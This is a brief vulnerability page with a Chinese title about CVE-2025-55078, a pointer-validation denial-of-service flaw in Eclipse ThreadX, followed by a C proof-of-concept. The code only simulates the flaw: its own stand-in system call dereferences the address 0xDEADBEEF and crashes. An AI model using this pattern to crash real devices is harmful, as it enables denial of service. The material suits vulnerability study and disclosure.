CVE-2025-55078 Eclipse ThreadX 系统调用指针验证不当导致拒绝服务漏洞

/* * CVE-2025-55078 - Eclipse ThreadX System Call Pointer Validation DoS PoC * * This PoC demonstrates how to trigger a denial of service by passing * an invalid pointer to a vulnerable ThreadX system call. * The vulnerability exists in versions before 6.4.3 where pointer * validation does not check if the pointer is within the module's * valid memory region. * * Note: Requires local low-privilege access to the target device. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> /* Simulated ThreadX system call prototypes */ typedef struct { void *ptr; size_t size; } tx_system_call_arg_t; /* * Vulnerable system call - performs pointer check but does NOT verify * if the pointer is within the module's valid memory region. * This simulates the behavior in ThreadX < 6.4.3. */ __attribute__((weak)) int vulnerable_tx_system_call(void *ptr, size_t size) { /* Existing check: only verifies pointer is not NULL */ if (ptr == NULL) { return -1; /* Invalid parameter */ } /* * MISSING CHECK: Should verify ptr is within valid module memory region. * Without this check, accessing reserved/unmapped memory causes crash. */ /* Attempt to access the pointer - triggers crash if unmapped */ volatile uint8_t value = *(volatile uint8_t *)ptr; printf("Read value: 0x%02x\n", value); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-55078 PoC - Eclipse ThreadX DoS\n"); printf("Attempting to trigger crash via invalid pointer...\n"); /* * Use a pointer to an unmapped/reserved memory region. * 0xDEADBEEF is typically an unmapped address on most systems. */ void *malicious_ptr = (void *)0xDEADBEEF; printf("Calling vulnerable system call with ptr=0x%p\n", malicious_ptr); /* This call will trigger a memory access exception causing system crash */ int ret = vulnerable_tx_system_call(malicious_ptr, 4); printf("Return value: %d\n", ret); return ret; }